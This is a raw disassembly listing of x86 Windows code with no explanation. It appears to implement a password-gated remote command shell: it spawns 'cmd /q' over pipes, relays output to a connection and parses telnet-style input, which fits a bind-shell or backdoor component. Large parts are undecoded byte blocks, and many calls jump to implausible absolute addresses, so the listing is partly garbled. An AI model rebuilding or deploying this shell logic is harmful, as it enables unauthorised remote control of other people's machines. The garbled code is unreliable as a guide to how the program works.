nop
loc_4108BC: ; CODE XREF: ___:00410897j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_4CAF2C
cmp eax, edi
jnz short loc_4108E6
push dword ptr [ebp-18h]
call dword_4CB000
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41B886
jmp short loc_4108F4
; ---------------------------------------------------------------------------
loc_4108E6: ; CODE XREF: ___:004108CCj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41BEB0
loc_4108F4: ; CODE XREF: ___:004108E4j
pop ecx
pop ecx
push edi
push ebx
push offset dword_43D128
push dword ptr [esi]
call dword_4CAFC4
cmp dword_4CDCD8, edi
jnz short loc_410956
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_410A1E
add esp, 10h
test eax, eax
jnz short loc_410956
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CAFC4
push dword ptr [esi]
call dword_4CB00C
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26D0000h
loc_410956: ; CODE XREF: ___:0041090Bj
; ___:0041092Cj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_434128
call sub_415220
push dword ptr [ebp+8]
call sub_410CD5
add esp, 10h
test eax, eax
jnz short loc_41099D
nop
call near ptr 2670897h
push eax
push offset unk_4340FC
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 0Ch
push ebx
nop
call near ptr 26D0000h
loc_41099D: ; CODE XREF: ___:00410978j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_4340D0
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 10h
push edi
nop
call near ptr 26D0000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109C4 proc near ; CODE XREF: ___:00410859p
; ___:00410866p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CAF8C
cmp eax, 1
jnz short loc_410A14
mov esi, [ebp+arg_4]
loc_4109E2: ; CODE XREF: sub_4109C4+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_410A09
test al, al
jz short loc_410A18
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CAF8C
cmp eax, 1
jz short loc_4109E2
jmp short loc_410A14
; ---------------------------------------------------------------------------
loc_410A09: ; CODE XREF: sub_4109C4+27j
push offset unk_434190
call sub_415220
pop ecx
loc_410A14: ; CODE XREF: sub_4109C4+19j
; sub_4109C4+43j
xor eax, eax
jmp short loc_410A1B
; ---------------------------------------------------------------------------
loc_410A18: ; CODE XREF: sub_4109C4+2Bj
push 1
pop eax
loc_410A1B: ; CODE XREF: sub_4109C4+52j
pop esi
leave
retn
sub_4109C4 endp
; =============== S U B R O U T I N E =======================================
sub_410A1E proc near ; CODE XREF: ___:00410922p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_410A49
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_4341BC
call sub_415220
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_410A49: ; CODE XREF: sub_410A1E+11j
push 1
pop eax
retn
sub_410A1E endp
; ---------------------------------------------------------------------------
byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o
dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh
dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h
dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2C68501Dh, 0E8004343h
dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
dd 6857022Bh, 410CCBh, 3600CDE8h, 0C0859002h, 0E8902975h
dd 225FDDBh, 42E86850h, 59E80043h, 59000047h, 0CC15FF59h
dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h, 53022BF5h
dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h
dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh
dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh
dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342ACh
dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h
dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
dd 0FFFFFBECh, 43426868h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h
dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h
dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh
dd 56F0458Dh, 0E5E89050h, 8B0225F3h, 0C969B84Dh, 234h
dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh
dd 2EFE832h, 0EB900225h, 50E890EDh, 500225FCh, 43422C68h
dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh
dd 0FBEC858Dh, 0F468FFFFh, 50004341h, 0AC15E8h, 0CC48300h
dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh
dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h
dd 4CB00Ch, 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh
dd 0F336E890h, 335B022Bh, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410CD5 proc near ; CODE XREF: ___:0041096Ep
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_410E26
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43DEBC[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_42707C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_410FF8
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_410D40
nop
call near ptr 2670897h
push eax
push offset unk_43438C
call sub_415220
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_410D7A
; ---------------------------------------------------------------------------
loc_410D40: ; CODE XREF: sub_410CD5+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4110AA
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_410D81
nop
call near ptr 2670897h
push eax
push offset unk_43438C
call sub_415220
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call near ptr 268090Dh
nop
loc_410D7A: ; CODE XREF: sub_410CD5+69j
xor eax, eax
jmp loc_410E21
; ---------------------------------------------------------------------------
loc_410D81: ; CODE XREF: sub_410CD5+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call near ptr 2770E2Ah
nop
sub eax, ebx
jz short loc_410DDB
dec eax
jz short loc_410DD5
dec eax
jz short loc_410DC1
call near ptr 2670897h
nop
push eax
push offset unk_434358
call sub_415220
pop ecx
pop ecx
jmp short loc_410DF0
; ---------------------------------------------------------------------------
loc_410DC1: ; CODE XREF: sub_410CD5+D5j
mov edi, dword_4270AC
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_410DF0
; ---------------------------------------------------------------------------
loc_410DD5: ; CODE XREF: sub_410CD5+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_410DDF
; ---------------------------------------------------------------------------
loc_410DDB: ; CODE XREF: sub_410CD5+CFj
push ebx
push dword ptr [esi+14h]
loc_410DDF: ; CODE XREF: sub_410CD5+104j
call near ptr 268090Dh
nop
push 1
push dword ptr [esi+8]
nop
call near ptr 2700B64h
loc_410DF0: ; CODE XREF: sub_410CD5+EAj
; sub_410CD5+FEj
push dword ptr [esi+10h]
mov edi, dword_427068
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_4CB00C
push esi
call sub_41B0B1
pop ecx
push 1
pop eax
loc_410E21: ; CODE XREF: sub_410CD5+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_410CD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_410F10
mov ebx, dword_4270FC
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_427068
test eax, eax
jnz short loc_410E89
call near ptr 2670897h
nop
push eax
push offset unk_43443C
jmp short loc_410EA9
; ---------------------------------------------------------------------------
loc_410E89: ; CODE XREF: sub_410E26+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_410EB1
nop
call near ptr 2670897h
push eax
push offset unk_4343FC
loc_410EA9: ; CODE XREF: sub_410E26+61j
call sub_415220
pop ecx
jmp short loc_410EDF
; ---------------------------------------------------------------------------
loc_410EB1: ; CODE XREF: sub_410E26+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_410F1F
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_410F14
push offset unk_4343D4
call sub_4151AC
loc_410EDF: ; CODE XREF: sub_410E26+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_410EEB
push [ebp+var_4]
call edi
loc_410EEB: ; CODE XREF: sub_410E26+BEj
cmp [ebp+var_8], 0
jz short loc_410EF6
push [ebp+var_8]
call edi
loc_410EF6: ; CODE XREF: sub_410E26+C9j
mov eax, [esi]
test eax, eax
jz short loc_410EFF
push eax
call edi
loc_410EFF: ; CODE XREF: sub_410E26+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_410F09
push eax
call edi
loc_410F09: ; CODE XREF: sub_410E26+DEj
push esi
call sub_41B0B1
pop ecx
loc_410F10: ; CODE XREF: sub_410E26+1Dj
xor eax, eax
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F14: ; CODE XREF: sub_410E26+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_410F1A: ; CODE XREF: sub_410E26+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_410E26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F1F proc near ; CODE XREF: sub_410E26+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41B590
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4270F8
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
call near ptr 2710000h
nop
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call near ptr 2650CA5h
nop
test eax, eax
jz short loc_410FDB
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43DEB8[eax], ecx
call near ptr 26509C6h
nop
jmp short loc_410FF1
; ---------------------------------------------------------------------------
loc_410FDB: ; CODE XREF: sub_410F1F+9Aj
call near ptr 2670897h
nop
push eax
push offset unk_43447C
call sub_415220
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_410FF1: ; CODE XREF: sub_410F1F+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_410F1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270E8
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411021: ; CODE XREF: sub_410FF8+8Fj
call ebx
test eax, eax
jz short loc_411089
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_41105C
loc_411032: ; CODE XREF: sub_410FF8+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_41104C
cmp dl, 0Dh
jz short loc_41104C
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_41104C: ; CODE XREF: sub_410FF8+44j
; sub_410FF8+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411032
loc_41105C: ; CODE XREF: sub_410FF8+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CAFC4
test eax, eax
jle short loc_411089
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411021
; ---------------------------------------------------------------------------
loc_411089: ; CODE XREF: sub_410FF8+2Dj
; sub_410FF8+79j
mov esi, dword_42708C
call esi
cmp eax, 6Dh
jz short loc_4110A5
call esi
push eax
push offset dword_4344BC
call sub_415220
pop ecx
pop ecx
loc_4110A5: ; CODE XREF: sub_410FF8+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_410FF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110AA proc near ; DATA XREF: sub_410CD5+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_4110C3: ; CODE XREF: sub_4110AA+39j
; sub_4110AA+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CAF8C
test eax, eax
jle loc_4111C8
cmp [ebp+var_10], ebx
jbe short loc_4110E5
dec [ebp+var_10]
jmp short loc_4110C3
; ---------------------------------------------------------------------------
loc_4110E5: ; CODE XREF: sub_4110AA+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4111A8
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411155
cmp al, 7Fh
jz short loc_411155
cmp al, 3
jnz short loc_411110
push ebx
push ebx
nop
call near ptr 2780000h
jmp short loc_41117C
; ---------------------------------------------------------------------------
loc_411110: ; CODE XREF: sub_4110AA+5Aj
cmp al, 15h
jnz short loc_411132
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411168
; ---------------------------------------------------------------------------
loc_411132: ; CODE XREF: sub_4110AA+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411169
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411168
; ---------------------------------------------------------------------------
loc_411155: ; CODE XREF: sub_4110AA+52j
; sub_4110AA+56j
cmp esi, ebx
jbe short loc_41117F
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411168: ; CODE XREF: sub_4110AA+86j
; sub_4110AA+A9j
pop ecx
loc_411169: ; CODE XREF: sub_4110AA+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CAFC4
test eax, eax
jle short loc_4111C8
loc_41117C: ; CODE XREF: sub_4110AA+64j
mov al, byte ptr [ebp+arg_0+3]
loc_41117F: ; CODE XREF: sub_4110AA+ADj
cmp al, 0Dh
jnz loc_4110C3
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
nop
call near ptr 26F0000h
test eax, eax
jz short loc_4111C8
xor esi, esi
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111A8: ; CODE XREF: sub_4110AA+47j
cmp [ebp+var_C], ebx
jnz short loc_4111B9
mov [ebp+var_C], 1
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111B9: ; CODE XREF: sub_4110AA+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111C8: ; CODE XREF: sub_4110AA+2Bj
; sub_4110AA+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4110AA endp
; ---------------------------------------------------------------------------
byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o
dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh
dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h
dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h
dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
dd 0FFFD2C85h, 0B8C068FFh, 0E8500042h, 0A606h, 3910C483h
dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h
dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456868FFh, 0E8500043h
dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh
dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 225ECD8h
dd 0C84D8B90h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
dd 0FD87539h, 0FFFF6385h, 90056AFFh, 24FBE0E8h, 90EDEB02h
dd 25F542E8h, 858D5002h, 0FFFFFD2Ch, 43452C68h, 1FE85000h
dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch
dd 2C858DC0h, 68FFFFFDh, 4344F8h, 0A4FCE850h, 0C4830000h
dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh, 8B000005h
dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh
dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh
dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h
dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh
dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h
dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
dd 22BEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
dd 38858D50h, 50FFFFFBh, 43463068h, 3D52E800h, 680000h
dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh
dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
dd 9F00E808h, 5359FFFFh, 2BEAE7E8h, 106A9002h, 53E8458Dh
dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh
dd 4345F068h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h
dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh
dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh
dd 0EA4EE890h, 458D022Bh, 50106AE8h, 1C15FF57h, 83004CAFh
dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345ACh, 3C4BE8h
dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h
dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h
dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h
dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
dd 5359FFFFh, 2BE983E8h, 36FF9002h, 0B00C15FFh, 75FF004Ch
dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
sub eax, [edx]
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4116AC: ; CODE XREF: ___:0041175Bj
; ___:0041178Bj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4116C4: ; CODE XREF: ___:004116D2j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_4116D4
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4116C4
loc_4116D4: ; CODE XREF: ___:004116C9j
cmp ecx, 1
jnz short loc_4116E9
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4116E9: ; CODE XREF: ___:004116D7j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4CAF5C
lea eax, [ebp-104h]
push eax
push ebx
call dword_4CAE60
test eax, eax
jz short loc_411749
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4CAF8C
cmp eax, 0FFFFFFFFh
jz short loc_411791
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz short loc_411791
loc_411749: ; CODE XREF: ___:0041171Bj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4CAE60
test eax, eax
jz loc_4116AC
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4CAF8C
cmp eax, 0FFFFFFFFh
jz short loc_411791
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz loc_4116AC
loc_411791: ; CODE XREF: ___:00411730j
; ___:00411747j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do
; sub_40BACD+106o
dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh
dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h
dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 42E89000h
dd 390224F7h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h
dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh
dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh
dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h
dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh
dd 0F883004Ch, 681975FFh, 1388h, 0F67BE890h, 8DFF0224h
dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
